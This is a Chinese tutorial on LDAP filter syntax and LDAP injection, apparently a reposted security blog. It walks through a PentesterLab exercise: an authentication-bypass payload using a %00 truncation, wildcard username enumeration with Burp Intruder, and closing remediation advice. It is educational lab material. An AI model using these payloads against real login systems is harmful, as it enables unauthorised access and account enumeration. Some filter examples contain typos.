LDAP基本语法
- =(等于)
查找“名“属性为“John”的所有对象,可以使用:
(givenName=John)
这会返回“名”属性为“John”的所有对象。圆括号是必需的,以便强调LDAP 语句的开始和结束。
- &(逻辑与)
如果具有多个条件并且希望全部条件都得到满足,则可使用此语法。例如,如果希望查找居住在Dallas 并且“名”为“John”的所有人员,可以使用:
(&(givenName=John)(l=Dallas))
请注意,每个参数都被属于其自己的圆括号括起来。整个LDAP 语句必须包括在一对主圆括号中。操作符& 表明,只有每个参数都为真,才会将此筛选条件应用到要查询的对象。
- !(逻辑非)
此操作符用来排除具有特定属性的对象。假定您需要查找“名”为“John”的对象以外的所有对象。则应使用如下语句:
!givenName=John)
此语句将查找“名”不为“John”的所有对象。请注意:! 操作符紧邻参数的前面,并且位于参数的圆括号内。由于本语句只有一个参数,因此使用圆括号将其括起以示说明
- *(通配符)
可使用通配符表示值可以等于任何值。使用它的情况可能是:您希望查找具有职务头衔的所有对象。为此,可以使用:
(title=*)
这会返回“title”属性包含内容的所有对象。另一个例子是:您知道某个对象的“名”属性的开头两个字母是“Jo”。那么,可以使用如下语法进行查找:
(givenName=Jo*)
这会返回“名”以“Jo”开头的所有对象。
- 高级用法eg:
您需要一个筛选条件,用来查找居住在Dallas 或Austin,并且名为“John”的所有对象。使用的语法应当是:
(&(givenName=John)(|(l=Dallas)(l=Austin)))
三、Ldap 的靶场环境
这里环境测试靶场使用的是Pentester Lab ,文件类型为ios文件,可以在虚拟机直接运行进入环境,非常的简单
最终平台的效果:
![网络安全渗透技术进阶 5步入门LDAP 注入(Injection)+如何防范](http://p2.ttnews.xyz/loading.gif)
四、Ldap 注入实例
4.1 正常请求和返回包分析
我们先来看一下Ldap 下面的exampl2 学习实例,进入之后发现提示的信息为“AUTHENTICATED as hacker” 说着我们已经认证通过了。也可以认为已经登录授权了
看一下我们提交的数据,使用burpsuit 进行查看,来看一下request的包,请求两个变量为name=hacker, passowrd = hacker
GET /ldap/example2.php?name=hacker&password=hacker HTTP/1.1
Host: 192.168.3.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
请求返回包的截图如下:
![网络安全渗透技术进阶 5步入门LDAP 注入(Injection)+如何防范](http://p2.ttnews.xyz/loading.gif)
从上图【AUTHENTICATED as hacker】可以看出,证明服务器已经认证此用户
通过前面的ldap过滤器基础,可以来推断服务器端ldap 执行的查询语句中用道的过滤器如下:
(&(name=hacker)(passwd=hacker))
其中& 为and 操作,我们可以控制的变量范围为name=hacker&password=hacker
4.2 构造测试语句
构造攻击语句
name=h*))%00(&password=hacker
web服务器提交给ldap的查询语句就会变成如下
(&(name=hacker))%00(passwd=hacker))
其中%00是截断符,这样ldap服务器执行的时候,就会忽略掉%00后面的部分,就相当于服务器执行了
(&(name=hacker))
选择器(&(name=hacker))永远为真,使用burpsuite 截获的返回包截图如下:
从上图【AUTHENTICATED as hacker】可以看出,认证查询查询结果仍然是正确的
4.3 利用通配符*遍历全部用户
攻击payload
(&(name=h*))%00(passwd=hacker))
* 为通配符,代表是以h为开头的所有用户,因此我们可以a -z 进行替换现在的【h】,根据返回的结果,查看认证成功返回的用户名称,进而获得所有用户的账户信息。
下面我们使用burpsuite进行批量提交请求,实现爆破遍历。具体截图如下:
step1: 发送到intruder
step2:增加变量,具体见截图
step3,增加变量字典
step4 开始遍历
一共跑出来两个用户,admin 和hacker 具体截图如下:
五、修复建议
- 客户端发送给服务器的参数中包含了特殊字符,服务器代码端需要对变量进行检查和净化处理。
- 圆括号、星号、逻辑操作符、关系运操作符在应用层都必须过滤。
- 无论什么时候,只要可能,构造LDAP搜索过滤器的值在发送给LDAP服务器查询之前都要用应用层有效地值列表来核对
参考文章连接:
https://www.cnblogs.com/bendawang/p/5156562.html
http:// www.secevery.com:4321/drops/tips-967.html
閱讀更多 Web安全陪跑團 的文章